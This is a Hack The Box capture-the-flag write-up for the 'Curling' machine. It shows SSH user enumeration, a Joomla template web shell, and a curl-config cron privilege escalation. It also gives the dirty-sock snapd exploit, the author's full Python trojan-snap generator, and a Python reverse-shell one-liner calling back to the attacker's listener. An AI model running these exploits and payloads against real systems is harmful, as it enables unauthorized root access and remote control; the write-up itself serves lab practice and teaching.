HTB{ Curling }

Mar 30, 2019 | 27 minutes read

Tags: hack the box, dirty-sock, joomla, curl, go, python

Curling was a relatively simple machine made by L4mpje. This box was exciting for me because I’d never spent time with Joomla before. The concepts around exploiting this particular CMS were similar to that of WordPress, but I didn’t have any practical experience with it. In addition to the intended root method, I also had a blast playing with dirty-sock and writing some tools while doing Curling.




As usual, we start with a masscan followed by a targeted nmap. For some reason, masscan doesn’t play nicely with this target, or vice-versa. To get accurate results from the box, we can’t turn the rate up beyond the default of 100.

masscan -e tun0 --ports U:0-65535,0-65535 -oL masscan.

open tcp 22 1553425024
open tcp 80 1553425343


22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Joomla is written using php, so we’ll add php and html extensions to our gobuster scan.

gobuster -q -e -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html
═════════════════════════════════════════════════════════════════════════════════════════════════════════ (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 200) (Status: 301) (Status: 301) (Status: 200) (Status: 200) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 403) (Status: 301) (Status: 301)

Joomla! Template Based Web Shell

Cewl Curling site!

The site is a blog about curling. If we view the source of the page, near the bottom, we see a comment secret.txt.


When we browse to, we see a string of characters.


We can use base64 decode the string to find what is almost certainly a password.

echo Q3VybGluZzIwMTgh | base64 -d


On the homepage, there is a post signed by Floris.


We can use CVE-2018-15473 to verify Floris as a user on the box. We’ll be using my version of the exploit: cve-2018-15473.

/opt/cve-2018-15473/ -u floris

[+] OpenSSH version 7.6 found
[+] floris found!

We have a username and very likely a password, let’s see where we can use them.

Joomla! Admin Panel

The first hit from gobuster was When we head there, we see a login form.


The credentials floris:Curling2018! grant us access to the admin panel!


There are a few ways we can get RCE from here; we’ll take a look at customizing a template.

Template Web Shell

Start by heading to the Templates page in the admin panel.


From there, we click the Templates link on the left menu.


On the resulting page, we choose the template we want to edit. We’ll go with Beez3, but either one is fine.


Within the context of the Beez3 template, we’ll create a new file.


In the modal that pops up, enter a filename, select php as the file extension, and click Create.


In the text editor, let’s add the php code that will allow us to send commands as GET requests. When we’re ready, we can hit Save & Close to save our web shell.


Recall that in our gobuster scan, we saw We make a logical assumption that beez3 is a subfolder of templates. Browsing to doesn’t error out, so we’re good there. Next, we follow it up with ourshell.php, which also doesn’t error out. We have the location of our web shell, and now it’s time to test it out.


\o/ - access level: www-data

www-data to floris

Let’s perform actions in this section with the spirit of the box in mind. We’ll use curl to interact with our web shell from here on out.

curl -G "" --data-urlencode 'epi=find  home'

curl options used:

        make all data specified with --data-urlencode to be used in an HTTP GET request 
        instead of the default POST request
        Sends  the specified data in a POST request to the HTTP server; additionally
        urlencodes the data

Looking at the output, /home/floris/password_backup certainly sounds interesting. Let’s check it out.

curl -G "" --data-urlencode 'epi=cat /home/floris/password_backup'

00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

The file is a hexdump, likely produced by the xxd utility. To see an example, we can run xxd against one of the files in our working directory, such as one of the scans.

xxd nmap.

00000000: 2320 4e6d 6170 2037 2e37 3020 7363 616e  # Nmap 7.70 scan
00000010: 2069 6e69 7469 6174 6564 2053 756e 204d   initiated Sun M
00000020: 6172 2032 3420 3035 3a32 363a 3432 2032  ar 24 05:26:42 2
00000030: 3031 3920 6173 3a20 6e6d 6170 202d 7020  019 as: nmap -p 
00000040: 3232 2c38 3020 2d73 4320 2d73 5620 2d6f  22,80 -sC -sV -o

There is an option in xxd that allows us to take an existing hexdump and reproduce the original file. Let’s try that on password_backup.

curl -G "" --data-urlencode 'epi=cat /home/floris/password_backup' | xxd -r > password_backup
xxd options used:

        Reverse operation: convert hexdump into binary.

Now that we have the file locally let’s see what it is.

file password_backup

password_backup: bzip2 compressed data, block size = 900k

Ok, a bzip2 compressed file, simple enough.

bzip2 -d password_backup

bzip2: Can't guess original name for password_backup -- using password_backup.out

The warning tells us that bzip2 went ahead and named the result of its actions password_backup.out. We’ll do the same thing to the resulting file.

file password_backup.out

password_backup.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141

The result of uncompressing it the first time was to produce another compressed file. This time around the file was compressed using gzip. gzip wants the name of files it decompresses to end with a .gz extension. Let’s do that first.

mv password_backup.out password_backup.gz

Then we can decompress the file.

gunzip password_backup.gz

Let’s run file again to see what the next step is.

file password_backup

password_backup: bzip2 compressed data, block size = 900k

While it does seem that we’ve circled back to where we started, a little perseverance pays off.

bzip2 -d password_backup

bzip2: Can't guess original name for password_backup -- using password_backup.out

Once again, we check the resulting file.

file password_backup.out

password_backup.out: POSIX tar archive (GNU)

HA! Something different. Let’s untar the archive.

tar xvf password_backup.out


Finally, something that looks promising.

cat password.txt


That certainly looks like a password, let’s check if it works against our known username via ssh.

ssh -l floris
floris@'s password: 5d<wdCbdZu)|hChXll
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)


Last login: Mon Mar 25 20:06:48 2019 from
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
floris@curling:~$ cat user.txt 

\o/ - access level: floris

floris to root - method one

Identifying Scheduled Tasks

Looking in floris’s home directory, we see the folder admin-area. We saw this earlier when we found the password_backup file but dismissed it as unimportant until now. Both files have a modified time of either the current time or one minute ago, which is interesting. The watch command will run any command we specify at two-second intervals. If we run a watch command on the directory, every minute, the timestamps will update.

watch 'ls -al admin-area'

Every 2.0s: ls -al admin-area                                            curling: Tue Mar 26 00:25:39 2019

total 16
drwxr-x--- 2 root   floris 4096 May 22  2018 .
drwxr-xr-x 6 floris floris 4096 Mar 26 00:11 ..
-rw-rw---- 1 root   floris   25 Mar 26 00:25 input
-rw-rw---- 1 root   floris   94 Mar 26 00:25 report

The recurring timestamp updates are a clear indicator that some process is updating these files every minute. There are a few likely candidates for scheduling process execution on Linux systems: cron jobs, at jobs, and systemd timers. Let’s take a minute to investigate each one.

First up, at jobs. We can list our at jobs (and everyone else’s if we’re root) by running atq. Unfortunately, atq returns nothing.


Next, we can check systemd timers. The listed timers are unlikely to be what we’re looking for because none have run recently.

systemctl list-timers 

NEXT                         LEFT          LAST                         PASSED       UNIT                         ACTIVATES
Tue 2019-03-26 01:09:00 UTC  5min left     Tue 2019-03-26 00:39:09 UTC  24min ago    phpsessionclean.timer        phpsessionclean.service
Tue 2019-03-26 06:25:25 UTC  5h 22min left Mon 2019-03-25 19:17:00 UTC  5h 46min ago apt-daily-upgrade.timer      apt-daily-upgrade.service
Tue 2019-03-26 08:32:00 UTC  7h left       Mon 2019-03-25 19:46:13 UTC  5h 17min ago motd-news.timer              motd-news.service
Tue 2019-03-26 17:58:31 UTC  16h left      Mon 2019-03-25 19:17:00 UTC  5h 46min ago apt-daily.timer              apt-daily.service
Tue 2019-03-26 19:31:52 UTC  18h left      Mon 2019-03-25 19:31:52 UTC  5h 31min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Mon 2019-04-01 00:00:00 UTC  5 days left   Mon 2019-03-25 19:17:00 UTC  5h 46min ago fstrim.timer                 fstrim.service

6 timers listed.

Finally, we can check our cron jobs. We can’t check anyone else’s cron jobs unless we’re root, so this also isn’t what we need.

crontab -l

no crontab for floris

Since we’ve exhausted the likely candidates that we can investigate with our current permissions, we need to swap tactics. We’ll upload and execute the supremely cool tool pspy to figure out what’s going on.

pspy is a command line tool designed to snoop on processes without the need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

Let’s download pspy from GitHub.


2019-03-25 20:31:57 (2.16 MB/s) - ‘pspy64’ saved [4468984/4468984]

Then scp it up to the target.

scp pspy64 floris@

floris@'s password: 5d<wdCbdZu)|hChXll
pspy64                                                                                                                           100% 4364KB 653.2KB/s   00:06  

Back on target, we can run pspy64. We’ll let it run until we see the time roll over to a new minute. At that point, we should see the entries below come up.

2019/03/26 00:15:01 CMD: UID=0    PID=6137   | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
2019/03/26 00:15:01 CMD: UID=0    PID=6134   | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input 

We can now clearly see the commands that are updating the two files in admin-area.

The first line in the output above is a curl command that loads a configuration file using the -K option. The configured curl command writes its results to /home/floris/admin-area/report via the -o option.

The second line restores the config file from a known good state.

Both commands run as the root user (UID=0). Effectively, the curl command runs as root, and we can dictate the options!

Armed with that information, let’s see how to go about exploiting these cron jobs.

curl Config Privesc

If we take a look at curl’s -K option, we see that it allows us to specify a text file from which to read curl arguments. The command line arguments found in the config modify the command as if provided on the command line.

All that’s left for us to do is to choose our exploitation path. We’ll go with my personal favorite in this type of situation. We’ll use curl to download a small C program that spawns a local shell. We’ll also direct curl to overwrite a SUID binary with the program we download. The result is a new SUID binary that gives us a root shell. Let’s get started!

C Program for Shell

Our C program to spawn a shell is pretty simple. The source code is below.

#include <stdlib.h>
#include <unistd.h>

void main() {
    system("/bin/sh -i");

On kali, we compile our program.

gcc -o c-shell c-shell.c 

With that complete, we can move on to the next step.

Manipulating the Configuration

Before we change the config, we need to select a SUID binary to overwrite.

find / -perm -4000 2>/dev/null


Any of the above binaries will work. For our purposes, ping will work fine.

Next, let’s get a small webserver setup to host our c-shell binary. Normally this is where you’d see python3 -m http.server. Well, this time we’re switching it up! We’ll write something similar in Go that will accomplish the same thing (albeit without the logging).

First our Golang program, which we’ll save as go-serve.go.

 1package main
 3import (
 4    "fmt"
 5    "net/http"
 6    "os"
 9func main() {
10    port := "8000"
12    if len(os.Args) == 2 {
13        port = os.Args[1]
14    } else if len(os.Args) > 2 {
15        fmt.Printf("Usage: %s [PORT]\n", os.Args[1])
16    }
18    cwd, _ := os.Getwd()
19    http.Handle("/", http.FileServer(http.Dir(".")))
21    fmt.Printf("Serving files from %s on port %s\n", cwd, port)
22    http.ListenAndServe(":" + port, nil)

Next, we’ll compile our program.

go build go-serve.go

The location of the resulting binary is our current working directory. We’ll set it up to listen on port 80 (8000 is the default).

./go-serve 80

Serving files from /root/htb/curling on port 80

Now, to perform our attack, we need to know how to specify an output file in the configuration. Luckily the man page provides an example.

# --- Example file ---
# this is a comment
url = ""
output = "curlhere.html"
user-agent = "superagent/1.0"

# and fetch another URL too
url = ""
referer = ""
# --- End of example file ---

What we need just so happens to be the first two lines in the example. Let’s modify the config file with our changes.

url = ""
output = "/bin/ping"

After saving the new configuration, we wait a minute, then run ping.

When I want to wait a small amount of time like this, I’ll use sleep 60 or whatever the time to wait is, in seconds. Once my command prompt returns, the wait is over


floris@curling:~$ ping
# id
uid=0(root) gid=1004(floris) groups=1004(floris)
# cat /root/root.txt

\o/ - root access - method one

floris to root - method two

For our second method of rooting Curling, we’ll take a look at the dirty-sock exploit. Let’s get started!

Snap Package Overview

Snap is installed by default on newer Ubuntu systems and seems to be experiencing a decent adoption rate. Snap packages are made up of software and required dependencies. These packages are single binaries bundled for distribution. The Snap Documentation says the following about Snaps:

Snaps are app packages for desktop, cloud, and IoT that are easy to install, secure, cross-platform and dependency-free.

dirty-sock takes advantage of a vulnerability in the Snap ecosystem; let’s discuss how.

dirty-sock Overview

Chris Moberly (@init_string) discovered that snapd in versions 2.28 through 2.37 incorrectly validated and parsed the remote socket address when performing access controls on its UNIX socket (CVE-2019-7304). He has an incredibly detailed write-up located here.

The snapd service exposes a REST API on a unix socket. When a client connects to the API, the server checks the client’s access level by determining the permissions of the process accessing the API. This permissions check is what snapd uses to decide whether or not a client has access to sensitive API endpoints.

In the normal course of events, the API receives a connection. The snapd service then examines the remote address of the connection and generates a string similar to the following based on the information gathered from the remote connection:


Snapd processes the string that was built by one function again in a separate function. During execution of the other function, the string above is split into pieces using the ; character as the delimiter. The result is an array of strings:

["pid=5127" "uid=1000" "socket=/run/snapd.socket" "@"]

Once the string is split into pieces, the function iterates over each string looking for one that starts with uid=. Once it finds such a string, the numeric value following the equals sign is stripped out and stored in a variable named uid for use later on. In our example string, 1000 would become the value of the variable uid.

@init_string found that a crafted client socket name used to connect to the API could result in more than one string beginning with uid=. Consider the following socket filename as the remote address to be parsed.


When the socket’s filename contains an additional ;uid=0;, it results in snapd internally generating a string that looks like this:


After execution flows from generating the string to breaking it up into an array, the array looks like this:

["pid=5275" "uid=1000" "socket=/run/snapd.socket" "/tmp/sock" "uid=0"]

When snapd iterates over this array, it assigns the value 1000 to the variable uid and continues to loop. When it sees another string that begins with uid=, it re-assigns the value of 0 to the variable uid.

Snapd uses the uid value of 0 when determining whether or not we can access protected API functions. That’s the vulnerability and exploit in a nutshell.

Weaponizing the flaw discussed above uses a protected API function named /v2/snaps to sideload an empty Snap.

Here is what does (taken directly from @init_script’s blog post):

  • Creates a random file with the string ‘;uid=0;’ in the name
  • Binds a socket to this file
  • Connects to the snapd API
  • Deletes the trojan snap (if it was left over from a previous aborted run)
  • Installs the trojan snap (at which point the install hook will run)
  • Deletes the trojan snap
  • Deletes the temporary socket file
  • Congratulates you on your success

The Snap is empty and therefore doesn’t do anything by itself. However, it registers a hook that executes during installation. The install hook is a shell script and, when running in devmode, executes in the context of root. uses the install hook to do the following:

  • add a user named dirty_sock with a password of dirty_sock
  • add the user to the sudo group
  • add a sudo entry for the user in /etc/sudoers

Once the script successfully executes, a simple su to dirty_sock followed by a sudo -i is sufficient for a root shell. Here’s an example run on Curling where has already been uploaded to target and named

floris@curling:~/.local/share$ python3 

      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

|| R&D     || initstring (@init_string)                ||
|| Source  || ||
|| Details ||     ||

[+] Slipped dirty sock on random socket file: /tmp/dcexzpdrbr;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...

Success! You can now `su` to the following account and use sudo:
   username: dirty_sock
   password: dirty_sock

floris@curling:~/.local/share$ su dirty_sock
Password: dirty_sock

dirty_sock@curling:/home/floris/.local/share$ sudo -i
[sudo] password for dirty_sock: 
root@curling:~# id
uid=0(root) gid=1004(floris) groups=1004(floris)

\o/ - root access - method two

floris to root - method three

Using is undoubtedly cool, especially now that we know how it works. Now, let’s see about using the same technique to execute a custom payload instead of adding a root user.

Create a Custom Snap

To create our Snap with an install hook to use with, we need to perform the following steps:

  • install snapcraft
  • initialize a snap project
  • create our install hook
  • update the project metadata
  • build the snap
  • base64 encode the snap
  • modify to include our payload

Because doing it by hand is effective, yet dull, we’ll automate the process using python! We’ll take a look at each step’s manual commands and the corresponding python function. Afterward, we’ll check out the script in its entirety and a demo run.

I performed these steps on my host machine because I was not able to build a Snap project inside my kali VM.


The following manual commands will initialize a Snap project.

mkdir -p /tmp/dirty_snap/hooks
cd /tmp/dirty_snap

snapcraft init

touch ./snap/hooks/install
chmod a+x ./snap/hooks/install

And here is the implementation (as part of a larger class) in python.

 1def initialize_project(self):
 2    """ Create the necessary directory structure for the malicious Snap package. """
 4    cwd = Path.cwd()  # store original cwd
 5    os.chdir(self.project_path)  # /tmp/dirty_snap or similar
 7    try:
 8['snapcraft', 'init'], check=True, stdout=subprocess.PIPE)
 9    except subprocess.CalledProcessError as e:
10        print("snapcraft init failed unexpectedly; exiting")
11        print(e)
12        raise SystemExit
14    hookdir = self.project_path / 'snap' / 'hooks'
15    hookdir.mkdir(parents=True, exist_ok=True)  # create project scaffolding
17    self.install_script = hookdir / 'install'
18    self.install_script.touch()  # create the 'install hook' file where our payload will go
20    self.install_script.chmod(0o755)  # install hook must be executable
22    os.chdir(str(cwd))  # return to original cwd


This step is relatively simple; we insert into the install hook the desired commands to be run. Recall that the install hook is nothing more than a shell script.

First, the manual way using’s commands as an example.

cat > snap/hooks/install << "EOF"

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

Followed by the corresponding python. In the code below, there are two possibilities for accepting a payload. One is a command received as part of a command line option. The other takes in a pre-existing shell script and uses that as the install hook directly.

1def generate_hook(self):
2    """ Insert the payload into PROJECTDIR/snap/hooks/install. """
4    if self.command:
5        self.install_script.write_text(f'#!/bin/bash\n\n{self.command}\n')
6    elif self.file:
7        script = Path(self.file).read_bytes()
8        self.install_script.write_bytes(script)


For this section, we’re using yaml to describe our Snap. Like before, we’ll examine the steps taken by @init_string first.

cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |

grade: devel
confinement: devmode

    plugin: nil

And here’s the corresponding function. The default yaml file is incredibly close to what’s used by @init_string, so we only modify the name of the Snap.

Please note that this step isn’t strictly necessary, it’s done to minimize issues with having two exploit attempts of the same name. The install hook only runs on install. It will not run on a reload or refresh. Trying to exploit a second time, with a loaded Snap of the same name, won’t execute the install hook.

1def update_name(self):
2    """ Update Snap package name in PROJECTDIR/snap/snapcraft.yaml. """
4    yaml = Path(self.project_path) / 'snap' / 'snapcraft.yaml'
6    contents = yaml.read_text()
7    contents = contents.replace('my-snap-name',
9    yaml.write_text(contents)


All of the setup steps are complete at this point, and now we need to create the Snap. The command below needs to run in the root of the project directory.


The python takes it a bit further by capturing the name of the newly created Snap.

 1def build_snap(self):
 2    """ Build the Snap package. """
 4    cwd = Path.cwd()
 5    os.chdir(self.project_path)
 7    try:
 8        cmd =['snapcraft'], check=True, stdout=subprocess.PIPE)
 9    except subprocess.CalledProcessError as e:
10        print("Package build via snapcraft command failed unexpectedly; exiting")
11        print(e)
12        raise SystemExit
14    # example line for regex 
15    # Snapped other-dirty-sockr9cwz4ri_0.1_amd64.snap
16    match ='Snapped (?P<snapname>.*?.snap$)', cmd.stdout.decode())
18    if match:
19        self.snap = self.project_path /'snapname')
20    else:
21        print('Snap package name not found; exiting')
22        raise SystemExit
24    os.chdir(str(cwd))


This is the final section in which we can compare manual steps and python. We need to base64 encode the newly created Snap before it can be sent to the API because it is a Squashfs filesystem file.

base64 <snap-filename.snap>

A simple call to b64encode handles the python side of things.

1def encode_snap(self):
2    """ Encode the resulting Snap package for use in """
4    self.payload = base64.b64encode(self.snap.read_bytes()).decode()

The manual process involves inserting the base64 blob into Specifically, the TROJAN_SNAP variable needs to be updated.


When writing the payload generator, it seemed presumptuous to rewrite the original completely. Instead, we’ll create a modified that replaces the hardcoded base64 encoded blob and Snap name. The modified script is what we’ll upload to target for exploitation.

 1def create_modified_script(self):
 2    """ Modify to use the specified package name. """
 4    modified = Path('')
 5    contents = Path('').read_text()
 7    contents = contents.replace('["dirty-sock"]', f'["{}"]')  # replace package name
 9    section_start = section_end = False
11    # all we're doing here is removing the hardcoded base64 blob and putting our own in
12    with open(modified, 'w') as f:
13        for line in contents.splitlines():
14            if "For full details, read the blog linked on the github page above" in line:
15                # line before TROJAN_SNAP
16                section_start = True
17            elif 'def check_args()' in line:
18                # line after TROJAN_SNAP
19                section_end = True
21            if section_end:
22                # done removing old snap, enter ours
23                f.write(f"TROJAN_SNAP = '{self.payload}'\n\n{line}\n")
24                section_end = section_start = False  # both set to False so we fall through to the else clause
25            elif section_start:
26                # remove old snap
27                f.write('')
28            else:
29                # keep the rest as-is
30                f.write(f'{line}\n')

Now that we’ve covered the major moving parts, here’s the complete script. It’s also located at my repo: htb-scripts-for-retired-boxes.

Usage boils down to one of two methods. Either generate a Snap that executes a simple command via the -c option or create a bash script that contains whatever commands we want to execute, then pass it as an argument to -f.

There are some limitations to what commands can be run. Snap packages execute in what amounts to a chroot. They have a restricted view of the host OS’s filesystem. There are a few locations it can still write to, but by and large, they can’t manipulate the host filesystem. That fact is important when deciding what command we want to execute.

For instance, cat /root/root.txt > /tmp/flag will create the flag file in the Snap’s filesystem, not in the host’s /tmp folder.

  1import os
  2import re
  3import base64
  4import tempfile
  5import argparse
  6import subprocess
  8from pathlib import Path
 11class SnapPayload:
 12    def __init__(self, name, command, file, project_path):
 13        self.snap = None
 14 = name
 15        self.file = file
 16        self.payload = None
 17        self.command = command
 18        self.install_script = None
 19        self.project_path = Path(project_path)
 21    @staticmethod
 22    def snapcraft_exists():
 23        """ Determine whether snapcraft is installed or not; sanity check. """
 25        try:
 26  ['snapcraft', 'version'], check=True, stdout=subprocess.PIPE)
 27        except FileNotFoundError as e:
 28            print("snapcraft not installed")
 29            print('run: sudo apt install snapcraft -y')
 30            return print('then run this script again')
 31        except subprocess.CalledProcessError as e:
 32            print("snapcraft check failed, check your snapcraft install")
 33            return print(e)
 35        return True
 37    def initialize_project(self):
 38        """ Create the necessary directory structure for the malicious Snap package. """
 40        print(f'[+] Creating project directory structure @ {self.project_path}')
 42        cwd = Path.cwd()  # store original cwd
 43        os.chdir(self.project_path)
 45        try:
 46  ['snapcraft', 'init'], check=True, stdout=subprocess.PIPE)
 47        except subprocess.CalledProcessError as e:
 48            print("snapcraft init failed unexpectedly; exiting")
 49            print(e)
 50            raise SystemExit
 52        hookdir = self.project_path / 'snap' / 'hooks'
 53        hookdir.mkdir(parents=True, exist_ok=True)  # create project scaffolding
 55        self.install_script = hookdir / 'install'
 56        self.install_script.touch()  # create the file where our payload will go
 58        self.install_script.chmod(0o755)  # payload file must be executable
 60        os.chdir(str(cwd))  # return to original cwd
 62    def generate_hook(self):
 63        """ Insert the payload into PROJECTDIR/snap/hooks/install. """
 65        print(f'[+] Installing payload @ {self.install_script}')
 67        if self.command:
 68            self.install_script.write_text(f'#!/bin/bash\n\n{self.command}\n')
 69        elif self.file:
 70            script = Path(self.file).read_bytes()
 71            self.install_script.write_bytes(script)
 73    def update_name(self):
 74        """ Update Snap package name in PROJECTDIR/snap/snapcraft.yaml. """
 76        print(f'[+] Naming Snap: {}')
 78        yaml = Path(self.project_path) / 'snap' / 'snapcraft.yaml'
 80        contents = yaml.read_text()
 81        contents = contents.replace('my-snap-name',
 83        yaml.write_text(contents)
 85    def build_snap(self):
 86        """ Build the Snap package. """
 88        cwd = Path.cwd()
 89        os.chdir(self.project_path)
 91        try:
 92            cmd =['snapcraft'], check=True, stdout=subprocess.PIPE)
 93        except subprocess.CalledProcessError as e:
 94            print("Package build via snapcraft command failed unexpectedly; exiting")
 95            print(e)
 96            raise SystemExit
 98        # example line for regex
 99        # Snapped other-dirty-sockr9cwz4ri_0.1_amd64.snap
100        match ='Snapped (?P<snapname>.*?.snap$)', cmd.stdout.decode())
102        if match:
103            self.snap = self.project_path /'snapname')
104        else:
105            print('Snap package name not found; exiting')
106            raise SystemExit
108        print(f'[+] Built Snap: {self.snap}')
110        os.chdir(str(cwd))
112    def encode_snap(self):
113        """ Encode the resulting Snap package for use in """
115        self.payload = base64.b64encode(self.snap.read_bytes()).decode()
117    def create_modified_script(self):
118        """ Modify to use the specified package name. """
120        modified = Path('')
121        contents = Path('').read_text()
123        contents = contents.replace('["dirty-sock"]', f'["{}"]')  # replace package name
125        section_start = section_end = False
127        # all we're doing here is removing the hardcoded base64 blob and putting our own in
128        with open(modified, 'w') as f:
129            for line in contents.splitlines():
130                if "For full details, read the blog linked on the github page above" in line:
131                    # line before TROJAN_SNAP
132                    section_start = True
133                elif 'def check_args()' in line:
134                    # line after TROJAN_SNAP
135                    section_end = True
137                if section_end:
138                    # done removing old snap, enter ours
139                    f.write(f"TROJAN_SNAP = '{self.payload}'\n\n{line}\n")
140                    section_end = section_start = False  # both set to False so we fall through to the else clause
141                elif section_start:
142                    # remove old snap
143                    f.write('')
144                else:
145                    # keep the rest as-is
146                    f.write(f'{line}\n')
148        print('[+] complete!')
150if __name__ == '__main__':
151    parser = argparse.ArgumentParser()
152    parser.add_argument('-n', '--name', help='name of malicious snap package')
154    cmd_or_file = parser.add_mutually_exclusive_group()
155    cmd_or_file.add_argument('-c', '--command', help='the command to be run')
156    cmd_or_file.add_argument('-f', '--file', help='script to be run; expects an entire bash script')
158    args = parser.parse_args()
160    if not SnapPayload.snapcraft_exists():
161        raise SystemExit
163    if not Path('').exists():
164        print(" not found, please place a copy in your current directory.")
165        raise SystemExit
167    project = tempfile.mkdtemp(prefix='other-dirty-sock')
169    if not
170        # generate unique project name if not provided
171        # /tmp/other-dirty-sockw9g1t5p5 -> other-dirty-sockw9g1t5p5
172 = Path(project).stem
174    payload = SnapPayload(, command=args.command, file=args.file, project_path=project)
176    payload.initialize_project()
177    payload.generate_hook()
178    payload.update_name()
179    payload.build_snap()
180    payload.encode_snap()
181    payload.create_modified_script()

Example Run - Python Reverse Shell Payload

In this example, we’ll start by creating a bash script that contains a python reverse shell command.

First, ShellPop to get our payload.

shellpop --payload linux/reverse/tcp/python --host --port 12345

[+] Execute this code in remote target: 

python -c "import os;import pty;import socket;vFKTJAVPnDYYHc='';kKVXHQZGlLwhfd=12345;lBVbuY=socket.socket(socket.AF_INET,socket.SOCK_STREAM);lBVbuY.connect((vFKTJAVPnDYYHc,kKVXHQZGlLwhfd));os.dup2(lBVbuY.fileno(),0);os.dup2(lBVbuY.fileno(),1);os.dup2(lBVbuY.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');lBVbuY.close();" 

The target only has python3 installed, let’s not forget to update our payload to reflect that in our payload.


python3 -c "import os;import pty;import socket;vFKTJAVPnDYYHc='';kKVXHQZGlLwhfd=12345;lBVbuY=socket.socket(socket.AF_INET,socket.SOCK_STREAM);lBVbuY.connect((vFKTJAVPnDYYHc,kKVXHQZGlLwhfd));os.dup2(lBVbuY.fileno(),0);os.dup2(lBVbuY.fileno(),1);os.dup2(lBVbuY.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');lBVbuY.close();"

Then we’ll generate the malicious Snap.

python3 -f

[+] Creating project directory structure @ /tmp/other-dirty-sockz8nue16y
[+] Installing payload @ /tmp/other-dirty-sockz8nue16y/snap/hooks/install
[+] Naming Snap: other-dirty-sockz8nue16y
[+] Built Snap: /tmp/other-dirty-sockz8nue16y/other-dirty-sockz8nue16y_0.1_amd64.snap
[+] complete!

We’ll need to start a local listener to catch our callback.

nc -nvlp 12345

Ncat: Version 7.70 ( )
Ncat: Listening on :::12345
Ncat: Listening on

All that’s left to do is to get the script onto the target. Because I was forced to build my Snaps on my host, I chose to ssh onto the target, and copy/paste the contents of into vi. Feel free to get the script to target by any means available.

Once on target, execute the script. In this example, the script fails when trying to delete the Snap. The failure is due to the connection to kali on port 12345.


      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

|| R&D     || initstring (@init_string)                ||
|| Source  || ||
|| Details ||     ||

[+] Slipped dirty sock on random socket file: /tmp/eyxfrvcupo;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] Did not work, here is the API reply:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Date: Sat, 30 Mar 2019 02:03:29 GMT
Content-Length: 198

{"type":"error","status-code":400,"status":"Bad Request","result":{"message":"cannot remove \"other-dirty-sockcw6fneng\": snap \"other-dirty-sockcw6fneng\" has \"install-snap\" change in progress"}}

When we see ‘Installing the trojan snap…’, we also get a callback in our netcat window.

Ncat: Connection from
Ncat: Connection from
root@curling:/# id
uid=0(root) gid=0(root) groups=0(root)

\o/ - root access - method three

I hope you enjoyed this write-up or at least found something useful. Drop me a line on Twitter, the HTB forums, or in chat @ NetSec Focus.


Additional Resources

  1. pspy
